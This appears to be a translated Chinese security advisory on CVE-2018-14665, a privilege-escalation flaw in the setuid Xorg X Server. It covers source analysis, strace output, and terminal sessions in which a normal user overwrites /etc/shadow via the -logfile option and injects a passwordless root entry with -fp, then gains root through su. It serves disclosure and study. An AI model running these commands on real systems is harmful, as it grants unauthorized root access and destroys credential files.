CVE-2018-14665 : Xorg X Server 权限提升漏洞

任意文件覆盖导致的提权漏洞

由合天网安实验室翻译

描述：

X.org X Server应用程序允许低权限的用户在系统的任何位置创建或覆盖文件，包括特色文件（如：/etc/shadow）。

攻击条件：拥有普通用户的控制台会话权限

靶机：

CentOS-7
[narendra@localhost ~]$ uname -a
Linux localhost.localdomain 4.18.11-1.el7.elrepo.x86_64 #1 SMP Sat Sep 29 09:42:38 EDT 2018 x86_64 x86_64 xGNU/Linux

X.Org X server 版本：1.19.5

分析：

在CentOS和RedHat服务器操作系统上，X.org X Server 可执行文件（/usr/bin/Xorg）具有SETUID权限。

[Dev@localhost ~]$ ls -la /usr/bin/Xorg
-rwsr-xr-x. 1 root root 2409344 Apr 11 22:12 /usr/bin/Xorg

X.org X Server 应用程序中 LogInit()函数用来记录日志，X.org X Server 允许用户使用 “-logfile”选项指定日志文件。

如果系统上已存在与用户提供的"”同名的文件，则将其重命名为“.old”。 完成此操作后，将使用用户提供的“”名称创建一个新文件，使用fopen()函数进行调用

Xorg-Server/os/log.c

  244 const char *  
  245 LogInit(const char *fname, const char *backup)  
  246 {  
  247   char *logFileName = NULL;  
  248   
  249   if (fname && *fname) {  
  250     if (displayfd != -1) {  
  251       /* Display isn't set yet, so we can't use it in filenames yet. */  
  252       char pidstring[32];  
  253       snprintf(pidstring, sizeof(pidstring), "pid-%ld",  
  254           (unsigned long) getpid());  
  255       logFileName = LogFilePrep(fname, backup, pidstring);  
  256       saved_log_tempname = logFileName;  
  257   
  258       /* Save the patterns for use when the display is named. */  
  259       saved_log_fname = strdup(fname);  
  260       if (backup == NULL)  
  261         saved_log_backup = NULL;  
  262       else  
  263         saved_log_backup = strdup(backup);  
  264     } else  
  265       logFileName = LogFilePrep(fname, backup, display);  
  266     if ((logFile = fopen(logFileName, "w")) == NULL)  
  267       FatalError("Cannot open log file \"%s\"\n", logFileName);  
  268     setvbuf(logFile, NULL, _IONBF, 0);  
  269   
  270     logFileFd = fileno(logFile);  

可以使用 strace命令跟踪系统底层的 open() 调用过程

stat("mylogfile", 0x7ffcb9654ed0)      &n-1 ENOENT (No such file or directory)
open("mylogfile", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 4
rt_sigaction(SIGALRM, {0x55b6e2c2ca70, [ALRM], SA_RESTORER|SA_RESTART, 0x7fb0353036d0}, NULL, 8) = 0

从跟踪日志可以看出，O_EXCL 标志没有设置，所以fopen() 函数会创建或者覆盖已有的文件。

漏洞利用：

主要利用以下3点：

1、fopen()调用的输入是用户可控的文件名

2、fopen()将创建或覆盖已存在的文件

3、可执行文件/usr/bin/Xorg具有setuid权限

/etc/shadow 文件覆盖测试

  [Dev@localhost ~]$ uname -r
  3.10.0-862.el7.x86_64
  [Dev@localhost ~]$ Xorg -version
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  2.6.32-696.18.7.el6.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 13 February 2018  02:39:52PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
  Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
  [Dev@localhost ~]
  [Dev@localhost ~]$ id
  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  [Dev@localhost ~]$
  [Dev@localhost ~]$ cd /etc
  [Dev@localhost etc]$ ls -la shadow
  ----------. 1 root root 1650 Oct  6 05:03 shadow
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow
  cat: shadow: Permission denied
  [Dev@localhost etc]$
  [Dev@localhost etc]$ Xorg -logfile shadow :1 #指定日志文件为shadow
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  2.6.32-696.18.7.el6.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 13 February 2018  02:39:52PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
   Before reporting problems, check http://wiki.x.org to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
      (++) from command line, (!!) notice, (II) informational,
      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "shadow", Time: Sat Oct  6 21:54:13 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
  (II) Server terminated successfully (0). Closing log file.
  [Dev@localhost etc]$
  [Dev@localhost etc]$
  [Dev@localhost etc]$ ls -la shadow
  -rw-r--r--. 1 root Dev 53901 Oct  6 21:54 shadow
  [Dev@localhost etc]$
  [Dev@localhost etc]$ head shadow #写入成功
  [ 11941.870]
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  [ 11941.870] X Protocol Version 11, Revision 0
  [ 11941.870] Build Operating System:  2.6.32-696.18.7.el6.x86_64
  [ 11941.870] Current Operating System: Linux localhost.localdomain 3.10.0-862.el7.x86_64 #1 SMP Wed Mar 21 18:14:51 EDT 2018 x86_64
  [ 11941.870] Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.el7.x86_64 root=/dev/mapper/rhel-root ro crashkernel=auto rd.lvm.lv=rhel/root rd.lvm.lv=rhel/swap rhgb quiet LANG=en_US.UTF-8
  [ 11941.870] Build Date: 13 February 2018  02:39:52PM
  [ 11941.870] Build ID: xorg-x11-server 1.19.5-5.el7
  [ 11941.870] Current version of pixman: 0.34.0
  [Dev@localhost etc]$

权限提升

 [Dev@localhost ~]$ id #当前权限
  uid=1000(Dev) gid=1000(Dev) groups=1000(Dev) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
  [Dev@localhost ~]$
  [Dev@localhost ~]$ cd /etc
  [Dev@localhost etc]$
  [Dev@localhost etc]$ ls -la shadow
  ----------. 1 root root 1241 Oct 10 01:15 shadow
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow #查看权限
  cat: shadow: Permission denied
  [Dev@localhost etc]$
  [Dev@localhost etc]$ Xorg -fp "root::16431:0:99999:7:::"  -logfile shadow  :1 #写入文件，root无密码
  X.Org X Server 1.19.5
  Release Date: 2017-10-12
  X Protocol Version 11, Revision 0
  Build Operating System:  3.10.0-693.17.1.el7.x86_64
  Current Operating System: Linux localhost.localdomain 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
  Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.x86_64 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
  Build Date: 11 April 2018  04:40:54PM
  Build ID: xorg-x11-server 1.19.5-5.el7
  Current version of pixman: 0.34.0
      Before reporting problems, check http://wiki.x.org
      to make sure that you have the latest version.
  Markers: (--) probed, (**) from config file, (==) default setting,
      (++) from command line, (!!) notice, (II) informational,
      (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
  (++) Log file: "shadow", Time: Wed Oct 10 01:16:10 2018
  (==) Using config directory: "/etc/X11/xorg.conf.d"
  (==) Using system config directory "/usr/share/X11/xorg.conf.d"
  ^Cerror setting MTRR (base = 0x00000000e0000000, size = 0x01700000, type = 1) Invalid argument (22)
  (II) Server terminated successfully (0). Closing log file.
  [Dev@localhost etc]$ ls -la shadow
  -rw-r--r--. 1 root Dev 53897 Oct 10 01:16 shadow
  [Dev@localhost etc]$
  [Dev@localhost etc]$ cat shadow | grep "root::" #写入文件成功
      root::16431:0:99999:7:::
  [Dev@localhost etc]$
  [Dev@localhost etc]$
  [Dev@localhost etc]$ su #切换到root用户
  [root@localhost etc]#
  [root@localhost etc]# id  #查看权限，提权成功
  uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

修复信息：

https://lists.x.org/archives/xorg-announce/2018-October/002927.html https://lists.x.org/archives/xorg-announce/2018-October/002928.html

时间线:

2018-10-10: 联系 secalert@redhat.com

2018-10-12: 联系 X.org 团队

2018-10-25: 协调发布时间 (Time: 14:00 UTC)